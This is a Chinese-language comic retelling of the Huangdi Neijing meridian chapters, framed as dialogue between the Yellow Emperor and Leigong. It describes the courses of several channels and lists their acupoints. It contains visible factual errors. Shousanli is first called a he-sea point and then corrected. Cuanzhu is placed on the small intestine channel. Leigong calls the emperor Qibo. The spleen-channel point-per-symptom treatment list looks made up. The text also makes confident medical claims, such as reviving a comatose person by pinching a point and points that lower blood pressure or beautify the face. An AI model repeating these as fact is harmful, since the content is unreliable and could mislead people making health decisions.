雷公一听，哈哈大笑：“哈哈，这大肠经还真是多才多艺啊，既能治牙疼、肩周炎，又能治鼻塞、流鼻涕！那它要是出了问题，会咋样呢？” 黄帝正色道：“要是大肠经出了问题啊，那可就不好玩了。它会导致牙疼、脖子肿，还会出现眼睛发黄、口干舌燥、流鼻血、咽喉肿痛、肩膀和前臂疼痛，以及食指疼痛不能活动等症状。要是经络里的气血太旺盛呢，它就会沿着经络所过的部位出现发热、肿胀的情况；要是气血太虚弱呢，人就会感到发冷、颤抖，久久不能恢复。” 雷公一听，皱了皱眉：“那这可咋办呢？有没有什么解决办法啊？” 黄帝微微一笑：“当然有啦！咱们中医讲究的是‘辨证施治’，也就是根据病症的虚实寒热来采取相应的治疗措施。要是大肠经太旺盛了呢，咱们就用泻法来泄掉多余的气血；要是太虚弱了呢，咱们就用补法来补充气血。要是热症呢，咱们就用快针法来清热；要是寒症呢，咱们就用留针法来散寒。要是经络出现陷下的情况呢，咱们就用艾灸来温通经络。要是经络不盛不虚呢，咱们就直接刺激经络本身来治疗。” 雷公一听，眼睛又亮了起来：“哈哈，这中医真是博大精深啊！那岐伯啊，你能不能再给我讲讲这大肠经的虚实怎么判断啊？” 黄帝点了点头：“当然可以啦！判断大肠经的虚实啊，咱们主要看‘人迎穴’和‘寸口脉’的对比。人迎穴在脖子侧面，喉结旁边，咱们用手一摸就能摸到动脉跳动的地方。要是大肠经太旺盛了呢，人迎穴的跳动就会比寸口脉大三倍；要是太虚弱了呢，人迎穴的跳动就会比寸口脉小。” 雷公一听，拍案叫绝：“哈哈，这方法真是太简单了！黄帝啊，你可真是我的良师益友啊！” 黄帝谦虚地笑了笑：“哪里哪里，雷公过奖了。咱们中医讲究的是传承和发展嘛，我也只是把我学到的知识传授给您罢了。” 说到这儿啊，咱们的大肠手阳明之脉的故事就讲完了。不过啊，为了让大家更加深入地了解这条经络和它的穴位们，我还是再给大家详细介绍一下这些穴位的位置和作用吧！ 首先是咱们的“商阳穴”，它就在咱们食指的末节桡侧，距离指甲角0.1寸的地方。别看它小，它可是大肠经的井穴哦！有清热解表、苏厥开窍的作用。要是您突然中暑了、昏迷了啥的，赶紧掐掐这个穴位，说不定就能醒过来呢！ 接下来是咱们的“二间穴”，它在咱们食指的本节（第二掌指关节）前桡侧凹陷处。它是大肠经的荥穴哦！有清热解表、利咽止痛的作用。要是您嗓子疼、牙疼啥的，按按这个穴位就能缓解不少呢！ 然后是咱们的“三间穴”，它在咱们食指本节后桡侧凹陷处。它是大肠经的输穴哦！有清热解表、疏经活络的作用。要是您手指关节疼、手臂酸啥的，揉揉这个穴位就能舒服不少呢！ 接下来是咱们的“合谷穴”，这个刚才已经讲过了哈！它在咱们手背的第一、二掌骨之间，也就是咱们常说的“虎口”那儿。它是大肠经的原穴哦！有镇静止痛、通经活络、清热解表的作用。基本上啥疼都能按按它来缓解一下呢！ 然后是咱们的“阳溪穴”，它在咱们腕背横纹桡侧，手拇指上翘时，在拇短伸肌腱与拇长伸肌腱之间的凹陷处。它是大肠经的经穴哦！有清热散风、舒筋利节的作用。要是您手腕疼、胳膊酸啥的，按按这个穴位就能缓解不少呢！ 接下来是咱们的“偏历穴”，它在咱们前臂背面桡侧，阳溪穴与曲池穴连线上，腕横纹上3寸的地方。它是大肠经的络穴哦！有清热解毒、通经活络的作用。而且啊，它还是治疗耳鸣、耳聋的特效穴哦！ 然后是咱们的“温溜穴”，它在咱们前臂背面桡侧，阳溪穴与曲池穴连线上，腕横纹上5寸的地方。它是大肠经的郄穴哦！有清热解毒、凉血消肿的作用。要是您身上哪儿肿了、发炎了啥的，按按这个穴位就能缓解不少呢！ 接下来是咱们的“下廉穴”和“上廉穴”，它们都在咱们前臂背面桡侧，阳溪穴与曲池穴连线上。下廉穴在肘横纹下4寸的地方，上廉穴在肘横纹下3寸的地方。它们都有清热解毒、通经活络的作用。要是您胳膊疼、手麻啥的，揉揉这两个穴位就能舒服不少呢！ 然后是咱们的“手三里穴”，它在咱们前臂背面桡侧，阳溪穴与曲池穴连线上，肘横纹下2寸的地方。它是大肠经的合穴哦！有理气通络、疏风化湿、止痛的作用。基本上啥疼都能按按它来缓解一下呢！而且啊，它还是治疗肩周炎、网球肘的特效穴哦！ 接下来是咱们的“曲池穴”，它在咱们肘横纹外侧端，屈肘时肘横纹外侧端凹陷处。它是大肠经的合穴哦！（注意啦！虽然手三里也是合穴的说法，但按照传统理论，每条经只有一个合穴，这里咱们以曲池为准。）它有清热解表、疏经通络的作用。要是您发高烧、胳膊疼啥的，按按这个穴位就能缓解不少呢！而且啊，它还是降血压、治疗皮肤病的特效穴哦！ 最后是咱们的“肩髃穴”和“迎香穴”，这两个穴位刚才已经讲过了哈！肩髃穴在咱们肩膀上，有治疗肩周炎、肩膀酸痛的作用；迎香穴在咱们鼻翼旁边，有治疗鼻塞、流鼻涕的作用。 有一天，雷公突然对黄帝说：“嘿，黄帝，我听说你中医理论博大精深，今天我就想问问，那个胃足阳明之脉，它到底是怎么在体内溜达的呢？” 黄帝一听，微微一笑，心想：这家伙，又想偷师了。不过嘛，既然你诚心发问，那我就给你来个详细解说，保证让你听得目瞪口呆，哦不，是耳目一新！ 黄帝清了清嗓子，开始讲述：“胃足阳明之脉啊，它的起点可有意思了，就在你鼻子中间那块，也就是鼻梁的正中央，医学上我们叫它‘鼻交頞中’。从这里开始，它就像个调皮的孩子，先跑到旁边去跟太阳经脉打了个招呼，然后顺着鼻子外侧一路向下，悄悄溜进你的上齿里，又绕出来，围着你的嘴巴和嘴唇转了个圈，最后在下巴下面，也就是‘承浆穴’那儿，跟另一位经脉朋友握了握手。” “这还没完呢！”黄帝继续说道，“它接着往后脑勺方向跑，经过你的下巴下面，到大迎穴那儿稍作停留，这个大迎穴啊，就在你下巴角下方，咬肌的前缘，你摸摸看，是不是有个凹进去的地方？然后，它沿着你的脸颊，一直跑到耳朵前面，路过一个叫‘客主人’的穴位，这个穴位现在叫上关穴，就在你耳朵前面，颧弓的上缘凹陷处，是不是感觉耳朵都跟着抖了抖？” “别急，好戏还在后头呢！”黄帝笑眯眯地说，“它从耳朵前面继续往上，沿着发际线，一直跑到你的额头，也就是额颅那里。这一路上，它可是风光无限好啊，跟好多穴位都打了交道。” “但是呢，它可不是个专情的孩子，一路上还分了几个支脉。”黄帝接着说道，“其中一支，从大迎穴前面下来，到人迎穴那儿，这个人迎穴啊，就在你喉结旁边，颈动脉搏动的地方，是不是感觉心跳都加速了？然后，它顺着喉咙，溜进缺盆，也就是锁骨上窝那里，再穿过膈肌，跟胃成了亲戚，还跟脾攀上了交情。” “还有一支更调皮的，直接从缺盆那儿跑到你乳房的内侧，然后沿着肚子两边，跑到腹股沟那儿，也就是气街中，也就是现在的气冲穴，这个位置啊，你深吸一口气，是不是感觉肚子都跟着鼓起来了？”黄帝边说边比划着。 “再来说说另一支吧，这支是从胃口，也就是胃的入口处开始的，它沿着肚子里面一路向下，也跑到气街中跟其他支脉汇合，然后一起继续往下，经过大腿前面的髀关穴，这个穴位在大腿前面，髂前上棘与髌底外侧端的连线上，是不是感觉大腿都在颤抖？”黄帝问雷公。 “接下来，它们就跑到膝盖那里的膝膑中，也就是膝盖骨下方的凹陷处，再沿着小腿外侧，也就是胫骨外侧，一直跑到脚背上，进入中趾的内侧。”黄帝继续描述着，“还有一支更调皮的，从中趾内侧往下三寸的地方分出，跑到中趾的外侧去了。另外一支呢，从脚背上分出，跑到大趾的中间，最后从大趾尖端溜走了。” 雷公听得目瞪口呆，心想：这胃足阳明之脉也太会跑了吧！ 黄帝看着雷公那惊讶的表情，笑了笑说：“这还没完呢！它要是动起来，你可就有的受了。你会觉得浑身发冷，不停地打哆嗦，还老想哼哼唧唧的，好像有多难受似的。你的脸色也会变得黑黑的，看到人和火就烦，听到木头的声音都会吓得一哆嗦，心里还老想动来动去的。严重的时候，你还会想爬到高处去唱歌，或者光着身子到处跑，肚子也会胀得跟气球似的，这就是所谓的‘骭厥’。” “不过呢，它也有好的一面。”黄帝话锋一转，“它主管的是跟血有关的病，比如狂躁、疟疾、发热、出汗、流鼻血、嘴角歪斜、嘴唇生疮、脖子肿、喉咙痛、大肚子水肿、膝盖和小腿肿痛等等。它经过的地方，比如胸口、乳房、气街、大腿、小腿外侧、脚背上，要是痛起来，可都是它的杰作。要是中趾用不上力，也是它在捣鬼。” “要是它太旺盛了，你身体前面就会觉得热乎乎的，胃里的火大了，你就会饿得特别快，尿也会变得黄黄的。”黄帝继续说道，“要是它不够用了，你身体前面就会觉得冷飕飕的，胃里也会觉得胀胀的。” “所以啊，治疗这些病，就要看它是太旺盛了还是不够用了。”黄帝总结道，“太旺盛了就泻一泻，不够用了就补一补。要是热了，就快点扎针；要是冷了，就让针多留一会儿。要是陷下去了，就灸一灸。要是不太旺盛也不太不够用，就按照经脉来取穴治疗。要是太旺盛了，人迎穴的脉象就会比寸口穴大三倍；要是不够用了，人迎穴的脉象就会比寸口穴小。” 雷公听完，感叹道：“哎呀妈呀，这胃足阳明之脉也太复杂了吧！不过，听你这么一说，我好像也懂了点皮毛了。” 黄帝笑道：“皮毛可不够啊！你得好好学学，不然怎么当天庭里的老中医呢？” 说完，黄帝还特意给雷公画了一张胃足阳明之脉的示意图，上面标明了所有的穴位和它们的位置。雷公拿着图，看得津津有味，心想：这下我可有宝贝了！ 那么，我们就来详细说说这些穴位吧！ 鼻交頞中：就在鼻梁的正中央，是个起始点，也是个很重要的穴位，能够治疗鼻塞、流涕等症状。 大迎：位于下颌角前方，咬肌附着部前缘，当面动脉搏动处。主治口歪，口噤，颊肿，齿痛，牙关紧闭，面肿，唇吻不合等局部病证。 颊车：在下颌角前上方约1横指（中指），当咀嚼时咬肌隆起，按之凹陷处。主治牙关不利、口歪、颊肿、齿痛、失音、颈项强痛等局部病证。 上关：在耳前，下关直下，当颧弓的上缘凹陷处。主治头痛，耳鸣，耳聋，口眼喎斜，面痛，齿痛，惊痫，瘛瘲。 人迎：喉结旁开1.5寸，胸锁乳突肌的前缘，颈总动脉搏动处。主治咽喉肿痛，气喘，瘰疬，瘿气，高血压。 缺盆：锁骨上窝中央，距前正中线4寸。主治咳嗽，气喘，咽喉肿痛，缺盆中痛，瘰疬。 乳中：在胸部，当第4肋间隙，乳头中央，距前正中线4寸。本穴不针不灸，只作胸腹部腧穴的定位标志。 气冲：在腹股沟稍上方，当脐中下5寸，距前正中线2寸。主治肠鸣腹痛，疝气，月经不调，不孕，阳痿，脚冷。 髀关：在股前区，髂前上棘与髌底外侧端的连线上，髂前上棘直下平齐会阴处。主治腰膝冷痛、痿痹、屈伸不利、下肢麻木不仁、腹痛。 伏兔：在股前区，髂前上棘与髌底外侧上缘的连线上，髌底上6寸。主治下肢麻痹，腰痛，膝冷，髋关节炎，腹股沟淋巴结炎。 足三里（虽然原文没提，但它是胃足阳明之脉的重要穴位）：在小腿外侧，犊鼻下3寸，犊鼻与解溪连线上。主治胃痛、呕吐、噎膈、腹胀、腹泻、痢疾、便秘等胃肠病证；下肢痿痹；癫狂等神志病；乳痈、肠痈等外科疾患；虚劳诸证，为强壮保健要穴。 下巨虚：在小腿外侧，犊鼻下9寸，犊鼻与解溪连线上。主治泄泻、痢疾、小腹痛等肠腑病证；下肢痿痹；乳痈。 内庭：在足背，当第2、3趾间，趾蹼缘后方赤白肉际处。主治齿痛、咽喉肿痛、鼻衄、热病、吐酸、腹泻、痢疾、便秘、足背肿痛。 经脉篇第十（三） 话说有一天，雷公闲来无事，突然对中医的经络系统产生了浓厚的兴趣。他心想：“嘿，我这雷神当的也挺久了，是时候探索一下人体内部的奥秘了！”于是，他找到了黄帝，打算好好请教一番。 雷公一脸好奇地问：“黄帝，我一直对脾足太阴之脉的运行挺好奇的，您能给我讲讲吗？” 黄帝一听，哈哈一笑：“当然可以，雷公啊，你算是问对人了。脾足太阴之脉，这可是中医经络系统里的一条重要经脉。它呢，就像是一条隐形的能量通道，连接着我们的大脚趾和脾胃等脏腑，负责运输气血、调节身体机能。来来来，我给你细细道来。” “首先啊，这条经脉从大脚趾的内侧开始，就是咱们常说的隐白穴。这个穴位可厉害了，它位于大趾末节内侧，趾甲根角侧后方0.1寸的地方。可别小看这个地方，它可是治疗月经过多、崩漏等妇科疾病的特效穴哦！当然了，对于咱们男性朋友来说，按揉这个穴位也能缓解一些脚部疼痛、麻木的症状。” “接着呢，这条经脉会沿着大脚趾的内侧白肉际，也就是脚趾和脚掌连接处的内侧边缘，一路向上。路过核骨，也就是咱们脚内侧那个凸起的骨头后面，继续往上走。到了内踝前廉，也就是脚脖子内侧的前面，它会稍微拐个弯，继续沿着小腿内侧的胫骨后缘往上走。” “说到这小腿内侧啊，我得提一句，这里可是脾经和肝经的交汇处。咱们脾足太阴之脉呢，会在这里交出厥阴之前，也就是绕过肝经的前面，继续往上走。这一路上啊，它会经过膝股内前廉，也就是膝盖内侧和大腿内侧的前面，感觉就像是爬山一样，一步步往上攀登。” “终于啊，这条经脉会进入咱们的腹部，和脾胃等脏腑相连。它就像是一条高速公路，把气血输送到脾胃等脏腑，保证它们的正常运转。同时呢，它还会挟咽、连舌本，也就是经过咱们的咽喉和舌头根部。所以啊，要是脾经出了问题，咱们的咽喉和舌头可就要遭殃了。” “说到这啊，我还得提一句脾经的分支。这条分支会从胃开始，别上膈，也就是穿过膈肌，注入心中。这样一来啊，咱们的心脾就有了更紧密的联系。要是心脾两虚啊，那可就容易出现失眠、健忘、食欲不振等症状了。” 雷公一听，瞪大了眼睛：“哇，原来脾足太阴之脉这么神奇啊！那它要是出了问题，咱们会有什么症状呢？” 黄帝微微一笑：“你问得好。要是脾经出了问题啊，咱们就会出现一系列的症状。比如说舌本强，就是舌头变得僵硬不灵活；食则呕，就是吃东西就想吐；胃脘痛、腹胀啊，就是胃和肚子不舒服；善噫呢，就是经常打嗝；得后与气则快然如衰啊，就是放屁或者打嗝后会感觉舒服一些；还有啊，身体都会变得沉重无力。” “至于脾经主治的疾病呢，那就更多了。比如说舌本痛啊，就是舌头根部疼痛；体不能动摇啊，就是身体僵硬不灵活；食不下啊，就是食欲不振；烦心啊，就是心情烦躁；心下急痛啊，就是心口窝下面疼痛；还有溏泄啊，就是大便稀薄不成形；瘕泄啊，就是腹部有肿块并伴有腹泻；水闭啊，就是小便不利；黄疸啊，就是皮肤、巩膜发黄；不能卧啊，就是睡不着觉；强立啊，就是勉强站立；股膝内肿厥啊，就是大腿内侧和膝盖内侧肿胀、麻木；还有足大趾不用啊，就是大脚趾不能活动自如。” 雷公一听，连连点头：“原来如此啊！那要是脾经出了问题，咱们该怎么治疗呢？” 黄帝捋了捋胡子：“这个嘛，就得根据具体情况来定了。要是经脉盛实啊，咱们就得用泻法，把多余的气血排出去；要是经脉虚弱啊，咱们就得用补法，给经脉补充气血。要是经脉有热啊，咱们就得用疾刺法，快速刺入并出针；要是经脉有寒啊，咱们就得用留针法，让针在穴位里多留一会儿。” “至于陷下嘛，那就是经脉气血亏虚、穴位凹陷的表现。这时候啊，咱们就得用灸法了。用艾条在穴位上灸一灸啊，就能给经脉补充阳气、温通气血了。” “当然了，要是经脉不盛不虚呢，咱们就得按照经脉的循行路线来取穴治疗了。比如说啊，要是舌本痛啊，咱们就可以灸隐白穴；要是体不能动摇啊，咱们就可以按揉太白穴；要是食不下啊，咱们就可以刺激公孙穴；要是烦心啊，咱们就可以按摩三阴交穴；要是心下急痛啊，咱们就可以针刺地机穴；要是溏泄啊，咱们就可以艾灸阴陵泉穴；要是瘕泄啊，咱们就可以按揉血海穴；要是水闭啊，咱们就可以刺激大横穴；要是黄疸啊，咱们就可以艾灸腹结穴；要是不能卧啊，咱们就可以按揉食窦穴；要是强立啊，咱们就可以针刺天溪穴；要是股膝内肿厥啊，咱们就可以艾灸箕门穴；要是足大趾不用啊，咱们就可以针刺冲阳穴。” 雷公一听，眼睛都亮了：“哇，原来治疗脾经的疾病还有这么多讲究啊！那这些穴位都在哪里呢？您能给我讲讲吗？” 黄帝哈哈大笑：“没问题啊！来来来，我给你一一指出来。” “首先是隐白穴啊，它就在大脚趾的内侧趾甲根角旁0.1寸的地方。这个穴位啊，可是脾经的井穴哦！井穴呢，就像是水源的井口一样，是经脉气血的源头。刺激这个穴位啊，就能调节脾经的气血运行。” “接着是太白穴啊，它在足内侧缘，当足大趾本节（第1跖趾关节）后下方赤白肉际凹陷处。这个穴位啊，可是脾经的原穴哦！原穴呢，就像是经脉的开关一样，能调节经脉的虚实。刺激这个穴位啊，就能增强脾经的功能。” “然后是公孙穴啊，它在足内侧缘，当第1跖骨基底的前下方。这个穴位啊，可是八脉交会穴之一哦！它通冲脉呢！刺激这个穴位啊，就能调节冲脉的气血运行，还能治疗一些妇科疾病。” “接下来是三阴交穴啊，它在小腿内侧，当足内踝尖上3寸，胫骨内侧缘后方。这个穴位啊，可是肝、脾、肾三条阴经的交汇处哦！刺激这个穴位啊，就能同时调节这三条经脉的气血运行呢！” “还有啊，地机穴在阴陵泉穴下3寸的地方。这个穴位啊，可是治疗妇科疾病的特效穴哦！像是痛经、月经不调啊，刺激这个穴位都能有很好的效果。” “阴陵泉穴呢，在小腿内侧，当胫骨内侧髁后下方凹陷处。这个穴位啊，可是脾经的合穴哦！合穴呢，就像是经脉的汇聚点一样，能汇聚经脉的气血。刺激这个穴位啊，就能增强脾经的运化功能。” “至于血海穴啊，它在股前区，髌底内侧端上2寸，股内侧肌隆起处。这个穴位啊，可是治疗血症的特效穴哦！像是贫血、出血啊，刺激这个穴位都能有很好的效果。” “大横穴呢，在腹中部，脐中旁开4寸的地方。这个穴位啊，可是调节肠道功能的重要穴位哦！像是便秘、腹泻啊，刺激这个穴位都能得到很好的缓解。” “腹结穴啊，在大横穴下1.3寸的地方。这个穴位啊，也是治疗肠道疾病的重要穴位哦！像是腹痛、腹胀啊，刺激这个穴位都能得到很好的缓解。” “食窦穴呢，在胸外侧部，当第5肋间隙，距前正中线6寸的地方。这个穴位啊，能治疗一些胸胁部的疾病哦！像是肋间神经痛啊，刺激这个穴位都能有很好的效果。” “天溪穴啊，在胸外侧部，当第4肋间隙，距前正中线6寸的地方。这个穴位啊，可是治疗乳腺增生的特效穴哦！女性朋友们啊，一定要好好记住这个穴位哦！” “箕门穴呢，在大腿内侧，当血海与冲门连线上，血海上6寸的地方。这个穴位啊，能治疗一些下肢的疾病哦！像是下肢疼痛、麻木啊，刺激这个穴位都能得到很好的缓解。” “最后是冲阳穴啊，在足背最高处，当拇长伸肌腱和趾长伸肌腱之间，足背动脉搏动处。这个穴位啊，可是胃经的原穴哦！虽然它不属于脾经，但是和脾经有着密切的联系。刺激这个穴位啊，就能调节胃经和脾经的气血运行呢！” 雷公一听，连连点头：“哇，原来这些穴位都有这么多讲究啊！看来中医真的是一门博大精深的学问啊！” 有一天，雷公这个好奇宝宝又来找黄帝请教问题了。他眨巴着大眼睛，一脸求知欲地问：“黄帝啊，我一直对心手少阴之脉的运行路线特别感兴趣，您能给我讲讲吗？” 黄帝一看雷公这求知若渴的样子，心里就乐开了花，心想：这小子，还真是个学医的好苗子呢！于是，黄帝清了清嗓子，开始娓娓道来：“雷公啊，心手少阴之脉，那可是咱们人体里的一条重要经络，它可是心脏的好伙伴，负责给心脏输送气血和营养物质呢！” “这条脉啊，它起点就在咱们的心脏里，从心脏出发，连接着心系（就是心脏周围的血管和神经组织），然后穿过膈肌，跟小肠来了个亲密的联络。这就像是心脏派出的使者，去小肠那里串串门，交流交流感情。”黄帝一边说着，一边比划着，仿佛在给雷公画了一幅生动的经络地图。 “不过啊，这心手少阴之脉可不是个安分的家伙，它还有分支呢！这些分支从心系出发，一路向上，经过咽喉，还跟咱们的眼睛系上了关系。你说神奇不神奇？就像是心脏派出的侦察兵，时刻关注着咱们咽喉和眼睛的健康状况。”黄帝老师说到这里，故意卖了个关子，逗得雷公哈哈大笑。 “还有那直行的部分，它们从心系出发，又拐回去上了肺，然后从腋下出来，沿着咱们手臂内侧的后边，一路下行。它们可懂礼貌了，先经过太阴肺经和心包经的地盘，打个招呼，然后才继续往下走。到了肘窝里，它们就拐了个弯，沿着手臂内侧的后边，一直走到手掌后面那块尖尖的骨头（就是神门穴的位置）那里，然后钻进去，沿着小指的内侧，一直走到小指的末端。这一路下来，它们可是经过了不少穴位呢！”黄帝一边讲解，一边用手指在空中比划着经络的走向，仿佛在给雷公上演了一场经络版的“西游记”。 雷公听得入了迷，连连点头：“哇，原来心手少阴之脉这么神奇啊！那它要是出了问题，咱们会怎么样呢？” 黄帝微微一笑：“要是这条脉出了问题，那可就热闹了！你可能会觉得嗓子干、心痛、口渴想喝水，严重的时候，手臂还会抽筋呢！这就像是你的心脏在向你发出求救信号，告诉你它不舒服了。” “那要怎么治疗呢？”雷公迫不及待地问。 黄帝捋了捋胡子：“治疗嘛，当然是要根据具体情况来了。要是这条脉太旺了，咱们就得泻一泻；要是太虚了，就得补一补。要是热得太厉害了，咱们就用快一点的针刺手法；要是寒得太厉害了，就得留针久一点。要是穴位陷下去了，咱们还可以灸一灸。总之啊，就是要根据经络的虚实寒热来调理。” “那具体要灸哪些穴位呢？”雷公继续追问。 黄帝耐心地解释道：“比如说啊，你要是觉得心痛得厉害，咱们就可以灸灸心俞穴和厥阴俞穴。这两个穴位都在背上，心俞穴在第五胸椎棘突下旁开1.5寸的地方，厥阴俞穴在第四胸椎棘突下旁开1.5寸的地方。它们就像是心脏的后花园，灸一灸就能让心脏舒服多了。” “还有啊，你要是觉得手臂内侧后边疼得厉害，咱们就可以按按或者灸灸少海穴、灵道穴、通里穴和神门穴。少海穴在肘横纹内侧端与肱骨内上髁连线的中点处，灵道穴在腕横纹上1.5寸的地方，通里穴在腕横纹上1寸的地方，神门穴就在手掌后面那块尖尖的骨头下面。这些穴位就像是手臂内侧的守护神，按一按或者灸一灸就能缓解疼痛了。”黄帝一边说着，一边用手指在自己的手臂上比划着穴位的位置，仿佛在给雷公上一堂生动的穴位实践课。 雷公听得眼睛直放光：“哇，原来穴位这么神奇啊！那这些穴位除了能治疗心痛和手臂痛之外，还有什么其他作用吗？” 黄帝点了点头：“当然有啦！比如说啊，少海穴还能治疗头痛、目眩、癫痫、神经衰弱等症状；灵道穴还能治疗心痛、暴喑、肘臂挛痛等症状；通里穴还能治疗心悸、怔忡、暴喑、舌强不语、腕臂痛等症状；神门穴可是个万能穴啊，它不仅能治疗心痛、心烦、惊悸、怔忡、健忘、失眠、痴呆、癫狂痫等心神病症，还能治疗高血压、胸胁痛等症状呢！” “哇，原来这些穴位这么厉害啊！”雷公惊叹道，“那我是不是可以没事就按按或者灸灸这些穴位，预防疾病呢？” 黄帝笑着点了点头：“当然可以啦！不过啊，你得记住一点，那就是要根据自己的身体状况来。要是你的身体很健康，那就没必要过度刺激这些穴位；要是你的身体有点虚弱或者不舒服了，那就可以适当刺激一下这些穴位来调理一下。” 经脉篇第十（四） 话说有一天，雷公这个好奇心旺盛的家伙，又跑到黄帝面前问东问西了。这次，他的问题是关于小肠手太阳之脉的运行路线，这可是个深奥又有趣的中医话题啊！ 黄帝一听，笑眯眯地说：“哎呀，雷公啊，你这问题问得好！小肠手太阳之脉啊，它就像是一条神秘的小溪，在我们的身体里流淌。它的起点嘛，就在我们的小指之端，对，就是那个最不起眼的小指头上。然后啊，它就沿着我们的手外侧，一路向上，爬过手腕，穿过那个叫做‘腕骨穴’的地方，这个穴位啊，就在我们手掌尺侧，第五掌骨基底与钩骨之间的凹陷处，按一按，还能缓解头痛、耳鸣啥的。” 雷公一听，眼睛瞪得圆圆的，说：“这么神奇？那它接下来去哪儿呢？” 黄帝继续讲：“别急嘛，它接下来会出踝中，也就是我们的阳谷穴，这个穴位在手腕的背侧，尺骨茎突与三角骨之间的凹陷处。按这里啊，能治疗手腕疼痛、头痛啥的。然后啊，它就直上循臂骨下廉，也就是沿着我们的前臂外侧，一直往上，穿过肘内侧两骨之间，那里有个穴位叫‘小海穴’，在肘内侧，尺骨鹰嘴与肱骨内上髁之间的凹陷处，是治疗肘臂疼痛、癫痫啥的好地方。” 雷公听得津津有味，说：“哇，这么复杂啊！那它接下来呢？” 黄帝说：“别急，还没完呢！它继续上循臑外后廉，就是沿着我们的上臂外侧，一直往上，出肩解，也就是穿过肩关节的缝隙，绕肩胛，交肩上，进入缺盆，也就是我们的锁骨上窝那里。然后啊，它就络心，循咽，下膈，抵胃，最后属小肠。这一路啊，它可是经过了好多重要的地方呢！” 雷公挠挠头，说：“那它还有分支吗？” 黄帝点点头，说：“当然有啦！它的第一条支脉啊，从缺盆开始，循颈上颊，到达目锐眦，也就是我们的外眼角那里。然后啊，它还会却入耳中，这个啊，对我们的听力可重要了！如果这里不通啊，就可能会耳聋啥的。” 雷公惊讶地说：“这么神奇？那还有呢？” 黄帝说：“别急嘛，还有第二条支脉呢！它从颊部开始，上颧，就是我们的颧骨那里，然后抵鼻，至目内眦，也就是我们的内眼角那里。最后啊，它还斜络于颧，就是绕过我们的颧骨。这一路上啊，它可是连接了好多重要的穴位呢！” 雷公听得一愣一愣的，说：“那这些穴位都有啥作用啊？” 黄帝笑了笑，说：“别急嘛，我这就给你讲讲！比如那个‘听宫穴’，就在我们的耳屏前，下颌骨髁状突的后方，张口时呈凹陷处。按这里啊，能治疗耳鸣、耳聋啥的。还有那个‘攒竹穴’，在我们的眉头凹陷中，眶上切迹处。按这里啊，能缓解头痛、眼睛疲劳啥的。” “还有那个‘天容穴’，在我们的颈外侧部，下颌角的后方，胸锁乳突肌的前缘凹陷中。按这里啊，能治疗咽喉肿痛、颈项强痛啥的。还有那个‘肩贞穴’，在肩关节后下方，臂内收时，腋后纹头上1寸。按这里啊，能治疗肩臂疼痛、上肢不遂啥的。” “还有那个‘臑俞穴’，在肩部，当腋后纹头直上，肩胛冈下缘凹陷中。按这里啊，也能治疗肩臂疼痛、肩胛肿痛啥的。还有啊，那个‘秉风穴’，在肩胛部，冈上窝中央，天宗穴直上，举臂有凹陷处。按这里啊，能治疗肩胛疼痛、上肢酸麻啥的。” “哎呀，这还没完呢！还有‘曲垣穴’、‘肩外俞穴’、‘肩中俞穴’等等，这些穴位啊，都和小肠手太阳之脉有关，它们各自都有自己的作用，就像一个个小卫士，守护着我们的身体。” 雷公听得目瞪口呆，说：“这么多穴位啊！那要是这条脉出了问题，会咋样啊？” 黄帝说：“要是小肠手太阳之脉出了问题啊，那可就不妙了！你可能会感到嗌痛，就是喉咙痛啦；还可能颔肿，就是下巴那里肿起来啦；甚至啊，你还可能会感到肩膀像被人拔了一样，手臂像被人折断了一样，疼得厉害呢！” 雷公一听，吓得直哆嗦，说：“那咋办啊？” 黄帝说：“别急嘛，我们有办法啊！首先啊，我们要知道它是主液所生病者，也就是说啊，它跟我们的体液代谢有关。所以啊，如果它出了问题啊，就可能会出现耳聋、目黄、颊肿啥的。这时候啊，我们就可以用针灸的方法来治疗啦！” “比如啊，如果它太盛了，我们就用泻法，就是用力地刺激穴位，让它把多余的能量泄出去。如果它太虚了，我们就用补法，就是轻轻地刺激穴位，给它补充能量。如果它太热了，我们就用疾刺法，就是快速地刺入穴位，然后拔出来。如果它太寒了，我们就用留针法，就是把针留在穴位里，让它慢慢地发挥作用。” “还有啊，如果它陷下了，我们就用灸法，就是用艾条在穴位上熏烤，让它热起来。如果它既不盛也不虚呢，我们就按照经络的走向来取穴治疗啦！” 雷公听得连连点头，说：“那咋知道它是盛还是虚啊？” 黄帝说：“这个啊，我们可以通过诊脉来判断。比如啊，如果人迎脉的跳动比寸口脉大两倍以上啊，那就说明小肠手太阳之脉太盛了。如果人迎脉的跳动反而比寸口脉小啊，那就说明小肠手太阳之脉太虚了。” 雷公一听，恍然大悟，说：“原来如此啊！黄帝啊，你可真是个神医啊！” 黄帝笑了笑，说：“哪里哪里，我只是懂得一些皮毛而已。真正的神医啊，是那些能够把中医理论运用到实践中去的人。所以啊，雷公啊，你也要好好学习啊！” 雷公连连点头，说：“是是是，我一定好好学习！不过啊，黄帝啊，你这讲解也太深奥了吧？我都快听不懂了！” 黄帝一听，瞪了雷公一眼，说：“你这家伙啊，真是调皮！那我就给你加点料吧！比如说啊，那个‘天容穴’啊，它可是个‘美容穴’呢！你按按这里啊，就能让你的脸蛋变得更加漂亮啦！” 雷公一听，眼睛一亮，说：“真的吗？那我得赶紧试试！” 黄帝笑了笑，说：“别急嘛，你还没听完呢！还有那个‘肩贞穴’啊，它可是个‘减压穴’呢！你按按这里啊，就能让你的肩膀放松下来啦！还有那个‘秉风穴’啊，它可是个‘舒筋穴’呢！你按按这里啊，就能让你的手臂变得更加灵活啦！” 雷公这个好奇心旺盛的家伙，又跑去找黄帝请教问题了。他一脸认真地说：“黄帝啊，我一直对膀胱足太阳之脉的运行特别感兴趣，您能给我讲讲吗？” 黄帝一听，微微一笑，心想这雷公还真是好学啊，于是就开始了他的讲解：“好吧，雷公啊，膀胱足太阳之脉，它可是个大家伙，从头到脚，贯穿全身，咱们得慢慢聊。” “首先呢，这条经脉从咱们的眼睛内侧开始，就是内眼角那儿，叫睛明穴。你知道吗？睛明穴啊，就像是眼睛的小卫士，经常按摩它，能缓解眼睛疲劳，让你的眼睛亮堂堂的。然后，它从内眼角出发，一路向上，经过额头，到达头顶的百会穴，跟其他经脉来了个大交汇。” 雷公一听，眼睛一亮：“百会穴？就是那个‘一穴通，百穴通’的神奇穴位吗？” 黄帝老师点了点头：“没错，就是那个百会穴。它可是人体的重要穴位之一，经常按摩或者针灸，能提神醒脑，缓解头痛，让你精神焕发。” 